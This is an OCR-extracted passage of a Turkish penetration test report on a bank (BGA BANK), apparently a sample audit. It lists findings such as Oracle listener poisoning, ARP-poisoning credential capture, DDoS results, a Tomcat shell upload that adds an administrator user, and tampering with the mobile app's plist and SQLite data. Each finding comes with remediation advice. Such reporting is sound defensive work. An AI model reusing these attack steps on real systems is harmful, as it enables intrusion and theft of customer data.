alfanumerik karakterlerin olmasi 6nerilmektedir. Parolalarin belirli periyodlarla degistirilmesi
onerilmektedir.

Referanslar:

* http://www.cyberciti.biz/tips/linux-security.html
* http://www.makeuseof.com/tag/how-to-create-strong-password-that-you-can-
remember-easily/
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6.6.2.2. Tahmin Edilebilir ORACLE SID Degeri

Onem Derecesi Orta

Acikhigin EtKisi Bilgi ifsas1

Erisim Noktasi Yerel Ag

Kullanic Profili Kurum Calisani

Bulgu Kategorisi Veritabani

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Ac¢iklamasi:

Yapilan sizma testleri esnasinda Miisteri Kurum i¢ aginda ORACLE veritabani sunucular oldugu
ve bu sunucularin tzerinde kullanilan Service ID (SID)degerinin tahmin edilebilir bir deger
oldugu tespit edilmistir. Metasploit ile sik kullanilan SID degerleri i¢in yapilan denemelerde
dogru SID degerine ulagilmistir.

Oracle veritabani sunucusuna yonelik yapilan SID tahmin saldirisinda asagidaki SID
degerlerinin kullanildig belirlenmistir;

Tespit edilen ORACLE SID degerleri

[+] 10.10.10.20:1521 OracleORACLE is valid

Ac¢ikhig1 Barindiran Sistemler:

* 10.10.10.20

Coziim Onerileri:

SID degerinin tahmin edilemesi gli¢ bir sekilde degistirilmesi 6nerilmektedir.

Referanslar:

* http://www.orafaq.com/wiki/ORACLE_SID
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6.6.2.3. Oracle TNS Listener Uzaktan Zehirleme Agiklig

Onem Derecesi Yiiksek

Acikhigin Etkisi Yetkisiz Erisim

Erisim Noktasi Yerel Ag

Kullanici Profili Kurum Calisani

Bulgu Kategorisi Veritabani

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Aciklamasi:

Bu zafiyet kullanilarak saldirganlar, Oracle TNS Listener hizmeti ¢alisan sunucu veya istemci
sistemlere uzaktan erisim yapabilir. Istismar basarili olur ise man-in-the-middle, oturum ¢alma,
servis dis1 birakma, veritabanindaki verilerin manipiilasyonu veya hassas bilgilerin sizdirilmasi
gibi saldir1 eylemleri gerceklestirilebilir.

Acikligr Barindiran Sistemler:

* 10.10.10.98
* 10.10.10.31

Coziim Onerileri:

Belirtilen tiim gegcici ve kalici ¢ozlimler verilen baglantilar takip edilerek uygulanmahdir.

Listener sadece giivenli baglanti kuracak sekilde yapilandirilmalhidir. Bunun ic¢in
SECURE_LISTENER listener_name parametresinde degisiklik yapilmasi gerekir. RAC olmayan
sistemler i¢in

* https://support.oracle.com/CSP/main/article?’cmd=show&type=NOT&id=1453883.1
RAC sistemler icin;

* https://support.oracle.com/CSP/main/article?’cmd=show&type=NOT&id=1340831.1
baglantisi takip edilip gerekli ayarlar yapilabilir.
Referanslar boliimiinde belirtilen linkler aracilifiyla tavsiyeler/¢oziimler uygulanabilir.

Referanslar:
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* http://www.oracle.com/technetwork/topics/security/alert-cve-2012-1675-
1608180.html
* seclists.org/fulldisclosure/2012/Apr/204
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6.7. Kablosuz Ag Sistemleri Giivenlik Testleri

6.7.1. Gergeklestirilen Giivenlik Testi islemleri

Test edilen kablosuz aglar;

Kablosuz Ag Istemcilerine Yonelik Denemeler:
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6.7.2. Tespit Edilen Agikhiklar

6.7.2.1. Captive Portal Kimlik Dogrulama Sisteminin Atlatilmasi

Onem Derecesi Yiiksek

Acikhigin EtKisi Yetkisiz Erisim, Gizlilik ihlali
Erisim Noktasi Yerel Ag

Kullanic1 Profili Anonim Kullanici

Bulgu Kategorisi Wireless

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Aciklamasi:

Yapilan sizma testleri esnasinda, Guest kablosuz agina pentest ekibine saglanan parola ile
girildikten sonra internet ¢ikislarinin Captive Portal sistemi ile kontrol edildigi belirlendi.
Internete ¢ikmak icin bu sistem iizerinden kimlik dogrulama yapilmas: gerekmektedir. Fakat
yapilan testlerde bu kimlik dogrulama sistemi atlatilip DNS tiinel kurulabildigi ve internet
ortamina bu tiinel araciligi ile ¢ikis yapilabildigi saptanmistir.

Internete baglanilmak istendigi zaman ilk olarak asagidaki gibi bir ekran gelmektedir ve
kullanic1 girisi yapilmaktadir.

Login

Username: I

Password: |

Login

Sekil 23:Captive Portal Ekrani
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Daha sonra dns tunel kurularak kimlik dogrulama sistemi atlatilmis oldu.

€ - C |@ Twitter, Inc. [US] | https://twitter.com %o =
ke [ nessus (@ Dradi: ional ...  [%] BGA - Exploit DB Gal...
L 4 il Tarkge +

i )

‘ @ Beni hatiria - Sifreni mi unuttun?

Twitter'a hog geldin.

Bir sohbet baslat, ilgi alanlanni kesfet ve
gizemli bir seyler 6gren R
Twitter'da yeni misin? Kaydol

Ad ve soyadi

E-posta

2 Download on the
[ App Store

Diger cihazlan gorantile

Hakkmizda Yardm Blog Durum Kariyer Kosular Gizik Cerezler Rekiambilgieri Marka Reklam igletmeler Medya Gelistiicier Rehber ©2014 Twitter

Sekil 24: Captive Portal atlatildi.

Aciklig1 Barindiran Sistemler:

* (Guest
e (Guest2

Coziim Onerileri:

Yerel kablosuz agda clientlarin tirettigi DNS sorgulari veya olusturduklar1 UDP/53 bantgenisligi
kisitlanmalhdir.

I1gili DNS trafiginin icerisinden TCP paketleri gecmesi durumunda bloklanmahdir.

Referanslar:

* http://beta.ivc.no/wiki/index.php/DNS_Tunneling
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6.7.2.2. ARP Onbellek Zehirlemesi (MITM Saldirisi)

Onem Derecesi

Acikhigin Etkisi

Erisim Noktasi

Kullanici Profili

Bulgu Kategorisi

Bulgu Sebebi

Bulgu Aciklamasi:

Orta

Bilgi ifsasi, Gizlilik ihlali
Yerel Ag

Kurum Calisani
Wireless

Yapilandirma Eksikligi/Hatas1

MITM (Man-in-the-Middle - Ortadaki adam ) saldirilar1 anahtar cihazlarinin temel 6zelligi olan
anahtarlama mekanizmasini kandirma seklinde gergeklesir. Araya giren saldirgan hedef olarak
belirledigi kurbana ait tiim trafigi kendi lizerinden transparan gececek sekilde yonlendirir ve

Wireshark, dsniff gibi sniffer yazilimlar kullanarak hassas bilgilere erisim saglayabilir.

Arp zehirlemesi basarili bir sekilde gerceklestirilmis ve istemci ile sunucu arasina girilmis ve
istemciye ait ag trafiginin lzerimizden gectigi goriilmiistiir. ARP Poisoning islemi yapilan
istemciye ait ag trafginin lizerimizden gectikten sonra trafigini dinledigimize dair ekran

goriintiisii asagidaki gibidir.

—
B

o o
1y @ iy S S
AU Resr Bl

o

File View Configure Tools Help

%J'# Bu 'ﬂ L

Ea0¥n @2 i

|$_% Decoders |§ Network I") Sniffer IQ) Cracker I@ Traceroute IM Cccou I“Z]‘" Wireless IE)_) Query |

e =]

?1,, Passwords -
€ FrP ()

D HTTP (0)

53 IMAP (0)

LDAP (0)

& POP3 (0)

sb SMB (0)

B Telnet (0)

VNC (0)

& DS (0)

& NS )

€3 SMTP (0)

P NNTP (0)

&) pCe/rPC (0)

{53 MSKerb5-PreAuth (0)
& Radius-Keys (0)

€ Radius-Users (0)
1O

65 IKE-PSK (0)

& MysaL ()

[=) SNMP (0)

% SP (0)

< GRE/PPP (0)

<2 PPPGE (0)

I%) SAP Diag (0) <

m

Timestamp FTP server Client Username Password

18/03/2014 - 12:58:32__ | 1931621464 | 1721616.71

€ 1P

@ Hosts I@ APR I‘i" Routing I?H Passwords I(,% VolP I

Lost packets: 0%

Sekil 25:Zehirlenen kullanicinin bilgilerine arisilmistir.
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Acikligr Barindiran Sistemler:

* Yerel agdaki sistemler

Coziim Onerileri:

Anahtarlama cihazlar1 yapilandirmasinda port giivenligi politikasinin uygulanmasi
onerilmektedir. Bunun yaninda istemci bilgisayarlar icin 6n tanimh ag gecidi MAC (Media
Access Control) bilgisinin statik olarak belirtilmesi gerekmektedir. Referanslar kisminda Cisco
ve HP anahtarlama cihazlar i¢in gerekli 6nlemleri anlatan baglanti eklenmistir.

Referanslar:

* http://en.wikipedia.org/wiki/ARP_spoofing
* http://www.cisco.com/en/US/prod/collateral /switches/ps5718/ps708/white_paper_
c11_603839.html

e ftp://ftp.hp.com/pub/networking/software/Security-Oct2005-59906024-Chap09-
Port_Security.pdf

107

BGA Bilgi Giivenligi Anonim Sirketi | www.bga.com.tr



BGA BANK Sizma Testleri ve Giivenlik Denetim Raporu | Gizli

6.8. Dagitik Servis Digi Birakma Testleri

6.8.1. Gergeklestirilen Giivenlik Testi islemleri
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6.8.2. Tespit Edilen Agikhiklar

6.8.2.1. Dagitik Servis Disi Birakma(DDoS) Zafiyeti

Onem Derecesi
Acikhigin Etkisi
Erisim Noktasi
Kullanic1 Profili
Bulgu Kategorisi
Bulgu Sebebi

Bulgu Ac¢iklamasi:

Yiksek

Servis dis1 birakma

Internet

Anonim Kullanici

Ag altyapisi

Ag altyapisi yetersizligi

DDoS kapsaminda yapilan testler asagidaki gibidir:

SYN Flood 75-650 Mbps www.test.com Basarili
TCP Flood 75-650 Mbps www. test.com Basarili
UDP Flood 75-650 Mbps www. test.com Basarili
HTTP Flood 50 Mbps www. test.com Basarili
ICMP Flood 650 Mbps www. test.com Basarili

Hedef sistemlere yonelik yapilan TCP tabanli flood saldirilarinin engellendigi fakat UDP tabanh
saldirilara kars: herhangi bir 6nlem alinmadig1 belirlenmistir. Yapilan dagitik servis birakma
saldirilarinda hedef sistemler erisilemez hale gelmistir. Asagida www. test.com i¢in bir ekran
gorintusi verilmistir.
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& C'  [3 www.isup.me/test.com
i Uygulamalar [ nessus ® Dradis Professional ... [%1] BGA - Exploit DB Gal...

It's not just you! http://test.com looks down from here.

Check another site?

Is downtime destroying your website & business?
me for a dependable web host - T

Time for a depend Special Offer

Sekil 26:Site erisilemez duruma gelmistir.

Not: Ddos saldirisi saniyede 900 Mbps ve 650.000 paket gonderilerek (pps)
gerceklestirilmistir, toplamda 50 dk siirmiistiir.

Acikligr Barindiran Sistemler:

e www.test.com

Coziim Onerileri:

* DDoS saldirlarinda genellikle kurum internet ¢ikis trafiginden ¢ok yiiksek miktarda trafik
gelmektedir.

* Bu nedenle kurum biinyesinde alinacak temel 6nlemlerin yaninda hizmet alinan ISP’nin
DDoS koruma hizmeti test edilerek devreye alinmalidir.

e ISP tarafinda alinan 6nlemler genellikle uygulama seviyesi DdoS ataklar1 icin yeterli
olmamaktadir. Uygulama seviyesi ataklar icin kurum biinyesinde DdoS koruma amach
gelistirilmis 6zel donanim/yazilimlarin kullanilmasi 6nerilmektedir.
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6.9. iletisim Alt Yapisi ve Sube Testleri

6.9.1. Gergeklestirilen Giivenlik Testi islemleri
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6.9.2. Tespit Edilen Agikhiklar

6.9.2.1. Sube Agindan Sunucu Bloguna Erisim Kontrolii Eksikligi

Onem Derecesi
Acikhigin Etkisi
Erisim Noktasi
Kullanic Profili
Bulgu Kategorisi
Bulgu Sebebi

Bulgu Aciklamasi:

Yiiksek

Yetkisiz Erisim, Bilgi ifsas
Yerel Ag

Kurum Calisani

Sistem

Yapilandirma Eksikligi/Hatas1

Yapilan sizma testleri esnasinda sube agindan sunucu bloguna dogru olana erisimler de yeterli

port/servis erisim kisit1 olmadig1 belirlenmistir. Ilgili durum saldirganlar tarafindan istismar

edilerek sube agindan tiim kurum alt yapisina sizmalarin gerceklestirilebilecegi belirlenmistir.

i1k olarak sube aginda éntanimh kullanici bilgileri ile calisan tomcat uygulamasi belirlenmistir.

Tomcat tlizerinden sisteme shell yliklenmis ve komut ¢alistirilabilir hale gelmistir.Yiiklenen bu

shell ile sisteme bir adet kullanic1 eklenmistir.

€ | 10.40.107.2

@ Metasploit Pro ) Nessus \Aircrack-ng !!Exploit-DB

Commands with JSP

[

Command: net user bga

User name

Full Name
Comment

User's comment
Country code
Account active
Account expires

Password last set
Password expires
Password changeable
Password required

User may change password

Workstations allowed
Logon script

User profile

Home directory

Last logon

Logon hours allowed

Local Group Memberships
Global Group memberships

|| Send

bga

000 (System Default)
Yes

Never

3/6/2014 9:40:45 PM
4/17/2014 9:40:45 PM
3/6/2014 9:40:45 PM
Yes

Yes

All

Never
All

*Administrators *Users
*None

The command completed successfully.

Sekil 27: Sisteme kullanici eklenmistir.
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Daha sonra eklenen bu kullanci ile sisteme uzak masaiistii baglantisi yapilmistir.

Thu Mar 6, 3:11PM

CH—
I

Switch User

%. Windows 7 Ultimate

W rdesktop - 10.40,107.2 0]

Makineye baglantiktan sonra i¢ agdaki sistemleri tarayabilmek icin port tarayan bir arag
yuklenmistir ve i¢ agdaki 6nceden belirlenen veritabana sunucusu taranmistir.

Port Tarama Sonucu

Starting Nmap 5.00 ( http://nmap.org ) at 2012-11-27 01:23 IST
Interesting ports on 10.40.107.42:

PORT STATE SERVICE

21/tcp closed ftp

22/tcp open ssh

23/tcp open telnet

25/tcp closed smtp

80/tcp open http

110/tcp closed pop3

139/tcp closed netbios-ssn

443/tcp open https

445/tcp open microsoft-ds

3389/tcp open ms-term-serv

MAC Address: BC:AE:C5:C3:16:93 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds
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Acikligr Barindiran Sistemler:

* 10.40.107.42

Coziim Onerileri:

Sube agindan mevcut sunucu bloguna yalnizca erisilmesi gerekilen servis/portlara erisim
verilmesi onerilmektedir. Bunun disindakilerin giivenlik cihaz1 lizerinden bloklanmalari
onerilmektedir.
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6.10. Mobil Uygulama Giivenlik Testleri

6.10.1. Gergeklestirilen Giivenlik Testi islemleri
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6.10.2. Tespit Edilen Acikhiklar

6.10.2.1. Cihaz Uzerinde Tutulan Uygulama Aktivasyon Konfigiirasyonu

Manipulasyonu

Onem Derecesi Yiiksek

Acikhigin Etkisi Yetkisiz Erisim,Bilgi ifsasi
Erisim Noktasi Diger

Kullanic Profili Anonim Kullanici

Bulgu Kategorisi Mobil

Bulgu Sebebi Yapilandirma Eksikligi/Hatasi
Bulgu Aciklamasi:

Mobil uygulama client tizerinde localde tutulan konfigrasyon dosyasi kullanilarak gesitli ayarlar
set edilebilmektedir. Ornegin aktivasyon islemini icin asagidaki konfigiirasyon iizerinde
normal kullanici ve admin kullanicisinin haklari ile ilgili degisiklikler YES/NO yapilarak cihaz
tizerinde yetki haklar:1 degistirilebilir.

Konfigiirasyon 6ncesi

Users-iPad:/var/mobile/Applications/BgaMobil

root# plutil com.bgabank.plist

{
IsUserNormal = YES;
IsUserAdmin = NO;

IsSyncedDevice = YES

Son durum ise asagidaki gibi olacaktir.

Konfigiirasyon sonrasi

Users-iPad:/var/mobile/Applications/BgaMobil

root# plutil com.bgabank.plist

{
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IsUserNormal = NO;
IsUserAdmin = YES;

IsSyncedDevice = YES

Acikligr Barindiran Sistemler:

* Bga BANK Mobile Application

Coziim Onerileri:

Son kullanic1 cihaz tUzerinde tutulan konfigiirasyon dosyalarini diizenleme hakkina sahip
olmamalidir.Bunun yaninda bu tarz kritik bilgilerin cihaz {lizerinde tutulmamasi ve son
kullanicin erisememesi gerekmektedir.

Referanslar:

* https://www.owasp.org/index.php/Insecure_Configuration_Management
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6.10.2.2. Hassas Verilerin SQLITE Veritabaninda Tutulmasi

Onem Derecesi Yiiksek

Acikhigin EtKisi Bilgi ifsas1,Gizlilik Thlali
Erisim Noktasi Diger

Kullanic Profili Anonim Kullanici

Bulgu Kategorisi Mobil

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Ac¢iklamasi:

Para gonderme islemini yapan kullanicinin kredi karti numarasi,cvc numarasi, isim soyisim,kart
son kullanim tarihi gibi tim kritik bilgiler asagida detaylar1 verilen veritabani tablosunda a¢gik
bir sekilde tutulmaktadir. Yapilan tiim ge¢mis para gonderme islemlerine ait kart bilgilerini
databasede bulundugu tespit edilmistir. ilgili durum istismar edilerek elde edilecek kart
bilgileri gesitli ortamlarda alisveris i¢in kullanilabilir.

Yine uygulamaya ait asagidaki database.sqlite isimli veritabanindaki ilgili tablo icinde
kullanicilara ait telefon numarasi bilgisine agik bi sekilde erisilebilmektedir.

Sqlite tablolarina erisim

Test-iPad:/var/mobile/Applications/mobil
root# sqlite3 database.sqlite

SQLite version 3.7.10

Enter ".help" for instructions

sqlite> .tables
TbiBgaMobil.CreditCardNumber
TbiBgaMobilCVCNumber

TbiBgaMobilTelephone

sqlite>

sqlite> select * from ****;

1||true]||0]|12||user |9053333333****|false|+asdfgh==
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sqlite> select * from BgaMobilCreditCardNumber;

1||true]||0]|12]|user |1234-5678-***000-1234

Acikligr Barindiran Sistemler:

* Bga BANK Mobile Application

Coziim Onerileri:

Sqlite veritabaninda kritik bilgilerin tutulmamasi gerekmektedir.Tutulmas1 zorunluluk
gerektiren durumlarda sqlite veritabani kimlik dogrulama mekanizmasi ile korunmalidir.

Referanslar:

* https://www.owasp.org/index.php/Mobile_Top_10_2012-M1_Insecure_Data_Storage
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6.10.2.3. Log Dosyalarinda Hassas Veri Tutulmasi

Onem Derecesi Yiiksek

Acikhigin EtKisi Bilgi ifsas, Gizlilik ihlali
Erisim Noktasi Diger

Kullanic Profili Anonim Kullanici

Bulgu Kategorisi Mobil

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Aciklamasi:

Mobil IOS uygulamasi lizerinden uygulamaya login olunduktan sonra uygulamanin ¢ok kritik
bilgileri (kredi kart no gibi) cihaz ilizerinde log dosyalarinda tuttugu goériulmustiir.

llgili log dosyasl iizerinde asagidaki gibi hesap numarasi sahibinin ad1 soyadi, mevcut hesap
numaralari ,iban numaralari, bakiyeleri ve kredi karti numarasinin tutuldugu log kaydindan
gortlebilir;

Not: Asagida CreditCardNumber ismi ile kredi kart numarasi acik bir sekilde okunabilmistir.
Bilgilerin okunmamasi i¢in kart numarasinin belli bir kism1 * isareti ile degistirilmistir.

s

Test-iPad:/var/mobile/Applications/Documents
root# cat networktest.log

URL: https://mobil.bgabank.com.tr/mobilapp/
Method: POST

Headers:

UserName: admin

Password: ***=

Aciklig1 Barindiran Sistemler:

* https://mobil.bgabank.com.tr
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Coziim Onerileri:

Kullaniciya ait hassar veriler cihaz lizerindeki log dosyalarinda tutulmamalidir.Eger tutulmasi
zorunlu olan bir durum oldugu zaman ise kimlik dogrulama ile erisilebilir olmasi
gerekmektedir.

Referanslar:

* http://en.wikipedia.org/wiki/Log_management_and_intelligence
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6.10.2.4. Http Baslik Bilgileri iginde Kullanici adi ve Parola Taginmasi

Onem Derecesi Yiiksek

Acikhigin EtKisi Yetkisiz Erisim,Bilgi Ifsas
Erisim Noktasi Internet

Kullanic Profili Anonim Kullanici

Bulgu Kategorisi Mobil

Bulgu Sebebi Yapilandirma Eksikligi/Hatasi
Bulgu Ac¢iklamasi:

Http POST method ile iletilen http istekleri icerisinde kullanic1 ad1 ve parolanin http bashk
bilgileri icerisinde tasindig1 goriilmistiir. Kullanici adi cleartext olarak iletildigi tespit edilmistir
parola ise base64 encoding yontemi ile iletildigi belirlenmistir. Fakat base64 encode edilen bir
data decode edilebildigi icin parola da cleartext olarak elde edilebilmistir.

Elde edilen kullanici bilgileri asagidaki gibidir.

Tasinan bilgiler

URL: https://mobil.bgabank.com.tr/Mobil/

Method: POST
Headers:
UserName: ADMIN

Password: ----- =

Burada parola decode edildiginde asagidaki gibi bir parola elde edilmistir.
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Decode from Base64 format

Simply use the form below

ZGVuZWA1IMTIzDQo=

< DECODE > UTF-8 ¥ (You may also select input charset.)

deneme123

Sekil 28: Elde edilen parola

Acikligr Barindiran Sistemler:

* https://mobil.bgabank.com.tr
Coziim Onerileri:
Kullaniciya ait hassas bilgilerin bashik yapisi icinde tasinmamasi gerekir.Bunun yerine SSL

kullanilarak bilgiler giivenli bir seklide tasinmalidir.

Referanslar:

* http://en.wikipedia.org/wiki/SSL
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EK — 1: Raporda Gecen Teknik Terimler ve Kisaltmalar
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EK — 2: Glivenlik Testleri Esnasinda Kullanilan Araclar
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